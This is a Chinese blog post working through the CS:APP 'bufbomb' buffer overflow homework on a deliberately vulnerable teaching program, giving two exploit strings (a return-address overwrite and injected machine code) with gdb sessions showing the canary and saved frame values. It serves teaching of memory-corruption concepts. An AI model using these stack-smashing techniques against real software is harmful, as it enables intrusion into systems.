CSAPP:缓冲区溢出实验

首先,标注一下做这个实验时参考的两篇比较好的博客:

http://www.javaeye.com/topic/257684

http://hi.baidu.com/wurmbai/blog/item/6e93ee3ae0dc1f2eb9998ff2.html

使用的系统环境为:Ubuntu + gcc.4x

这个是csapp 《深入理解计算机系统》中家庭作业第38题,直接在原程序运行的时候实现缓存区溢出攻击已经不可能实现了,除非你是用的版本很低的内核和gcc,如gcc 3.4.3。因为最新版本的gcc加了一些防止溢出攻击的保护措施,如%gs:0x14.

从CS:APP的网站上下载文件bufbomb. c,源码如下:

 

题目的要求是,在getbuf函数中也许“显然”地会返回1,通过输入一个数据使这个函数返回0xdeadbeef,就是在test函数中地printf中打印地是0xdeadbeef.

对源码进行编译、反汇编可得:

 

 

认真分析上述两个反汇编文件,尤其是getbuf!

从汇编代码中,我们容易发现: test调用了 getbuf方法,然后在 getbuf里面给 %eax赋值为 1,并返回并将 %eax的值传递给 val,最后将 val值以 16进制打印出来,这个结果不论如何就是 0x1。

从上面的分析我们可以看出,如果不改变程序逻辑的话,不论怎样都是会以 0x1的形式打印结果的。如果要打印 0xdeadbeef,就需要以非正常的顺序执行代码。

有如下两种解决方案:

方案一:在getbuf中输入字符串时,覆盖返回地址(使其直接跳转到test()中的printf函数的地址),以及返回地址上面的8个字节%ebp+4、%ebp+8(作为printf的两个参数)。而%ebp+8地址里面存放的就是自己要输入的字符串。

然后画出栈的分布图。

具体实现过程如下:
1.在getbuf中创建断点,得到%gs:0x14的值,读出ebp中存放的值
2.输入任意十二个字符填满char[12],继续输入%gs:0x14的值,在这里说明一下,%gs:0x14生成随机数,一般与上面生成的值不一样,所以,在这里很容易出错,我就是因为这个,被滞留了很久,后来发现,输入时用0xff0a0000代替竟然才是正确的,百思不得其解!,输入ebp中存放的值,test()中call printf的地址,0x8048582,printf的第一个参数的存放地址,0x80486c1,我们要打印的字符串,0xdeadbeef。ok,输入的样例就是这样的:

00000000 00000000 00000000 00000aff d83fe4bf 82850408 c1860408 efbeadde

 

用gdb调试过程如下:

GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) break test
Breakpoint 1 at 0x8048566
(gdb) break getbuf
Breakpoint 2 at 0x8048526
(gdb) break *0x08048544
Breakpoint 3 at 0x8048544
(gdb) run
Starting program: /home/neo/lycos/laboratory/bufbomb/lycos

Breakpoint 1, 0x08048566 in test ()
Current language:  auto; currently asm
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/neo/lycos/laboratory/bufbomb/lycos

Breakpoint 1, 0x08048566 in test ()
(gdb) print $ebp
$1 = (void *) 0xbfe43fd8
(gdb) n
Single stepping until exit from function test,
which has no line number information.

Breakpoint 2, 0x08048526 in getbuf ()
(gdb) x/w $ebp
0xbfe43fc8:    0xbfe43fd8
(gdb) x/w $ebp - 4
0xbfe43fc4:    0xb7faaff4
(gdb) n
Single stepping until exit from function getbuf,
which has no line number information.
Type Hex string:00000000 00000000 00000000 00000aff d83fe4bf 82850408 c1860408 efbeadde

Breakpoint 3, 0x08048544 in getbuf ()
(gdb) n
Single stepping until exit from function getbuf,
which has no line number information.
0x08048582 in test ()
(gdb) n
Single stepping until exit from function test,
which has no line number information.
getbuf returned 0xdeadbeef
0x080485d0 in main ()
(gdb)

 

方案二:在返回到 0x08048577之前给 %eax的最后赋值为 0xdeadbeef,而赋值的过程写作buf中,具体实现过程如下:

1,编写汇编文件show.s

2,对其进行反汇编

gcc –c show.s
objdump –d show.o

由反汇编文件可知,输入字符串的前12个字节为:b8efbead deba7785 0408ffe2(buf里面的12个字节)。

而后面的输入是这样的,首先获取%gs:0x14验证码(通过反复测试它是不变的,输入0xffoa0000即可),然后就是保存的%ebp,这个值不能改变,所以需通过gdb调试过程中获得,最后就是覆盖返回地址,从而跳转到我们自己写的汇编程序地址。

栈的分布图如下

gdb调试信息看下面

GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) b getbuf
Breakpoint 1 at 0x8048526
(gdb) r
Starting program: /home/neo/lycos/laboratory/bufbomb/lycos

Breakpoint 1, 0x08048526 in getbuf ()
Current language:  auto; currently asm
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/neo/lycos/laboratory/bufbomb/lycos

Breakpoint 1, 0x08048526 in getbuf ()
(gdb) stepi
0x0804852c in getbuf ()
(gdb) p /x ($eax)
$1 = 0xff0a0000
(gdb) p /x *(int *)($ebp)
$2 = 0xbfb39fd8
(gdb) p /x ($ebp - 0x10)
$3 = 0xbfb39fb8
(gdb) c
Continuing.
Type Hex string:b8efbead deba7785 0408ffe2 00000aff d89fb3bf b89fb3bf
getbuf returned 0xdeadbeef

Program exited normally.
(gdb)

我用gdb,   最常用的命令
r   :run   启动
q:   quit退出gdb
k:   kill   杀灭进程(不退出gdb)
l:   list   打印代码
b:   break   设断点
n:   next   单步
s:   step   进入函数内部
c:continue   继续跑
p:打印变量等
bt:backtrace查看堆栈
j:jump   跳转
info   b查看断点
watch:硬件断点(如查看全局变量的变化)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值